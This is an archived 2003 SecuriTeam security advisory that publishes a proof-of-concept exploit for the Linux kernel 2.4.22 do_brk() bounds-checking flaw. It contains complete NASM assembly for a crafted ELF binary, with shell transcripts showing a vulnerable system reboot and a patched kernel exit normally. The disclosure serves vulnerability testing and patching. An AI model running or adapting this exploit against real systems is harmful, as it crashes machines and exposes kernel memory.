

[EXPL] Linux Kernel 2.4.22 do_brk() Proof of Concept

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0016.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/03/03

To: list@securiteam.com

Date: 3 Dec 2003 19:05:49 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Linux Kernel 2.4.22 do_brk() Proof of Concept

SUMMARY

Below is a Proof of Concept code for the do_brk() argument bound checking vulnerability, as we reported in our previous article:

<<http://www.securiteam.com/unixfocus/6I0090U95M.html>> Userland Can Access Linux Kernel Memory (do_brk() Argument Bound Checking). Please note that system will reboot after successful exploit.

DETAILS

Exploit:

; The following program can be used to test if a x86 Linux system

; is vulnerable to the do_brk() exploit; use at your own risk.

; by Christophe Devine

; Linux Kernel 2.4.22 "do_brk()" Proof of Concept

; Advisory FR : <http://www.k-otik.net/bugtraq/12.02.Kernel.2422.php>

```
;$ nasm brk_poc.asm -o a.out
```

```
;$ chmod 755 a.out
```

```
;
```

```
;$ uname -a
```

Securiteam: [EXPL] Linux Kernel 2.4.22 do_brk() Proof of Concept

```
;  
;Linux test3 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686 unknown  
unknown GNU/Linux  
;$ ./a.out &  
;[1] 1698  
;$ cat /proc/^pidof a.out/maps  
;bffff000-c0000000 rwxp 00000000 03:03 376860 /tmp/a.out  
;c0000000-c0003000 rwxp 00000000 00:00 0  
;  
;(system reboots when the program exits)  
  
;$ uname -a  
;Linux test3 2.4.23 #1 Mon Dec 1 22:18:25 CET 2003 i686 unknown unknown  
GNU/Linux  
;$ ./a.out &  
;[1] 1591  
;$ cat /proc/^pidof a.out/maps  
;bffff000-c0000000 rwxp 00000000 03:03 376860 /tmp/a.out  
;  
;(the program exits gracefully)  
;  
;$ cat brk_poc.asm
```

BITS 32

org 0xBFFFFFF00

```
ehdr: ; Elf32_Ehdr  
db 0x7F, "ELF", 1, 1, 1 ; e_ident  
times 9 db 0  
dw 2 ; e_type  
dw 3 ; e_machine  
dd 1 ; e_version  
dd _start ; e_entry  
dd phdr - $$ ; e_phoff  
dd 0 ; e_shoff  
dd 0 ; e_flags  
dw ehdrsize ; e_ehsize  
dw phdrsize ; e_phentsize  
dw 1 ; e_phnum  
dw 0 ; e_shentsize  
dw 0 ; e_shnum  
dw 0 ; e_shstrndx
```

ehdrsize equ \$ - ehdr

```
phdr: ; Elf32_Phdr  
dd 1 ; p_type  
dd 0 ; p_offset  
dd $$ ; p_vaddr  
dd $$ ; p_paddr  
dd filesize ; p_filesz
```

Securiteam: [EXPL] Linux Kernel 2.4.22 do_brk() Proof of Concept

```
dd 0x4000 ; p_memsz  
dd 7 ; p_flags  
dd 0x1000 ; p_align
```

```
phdrsize equ $ - phdr
```

```
_start:
```

```
mov eax, 162  
mov ebx, timespec  
int 0x80
```

```
mov eax, 1  
mov ebx, 0  
int 0x80
```

```
timespec dd 20,0
```

```
filesize equ $ - $$
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:DEVINE@iie.cnam.fr>>
Christophe Devine.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.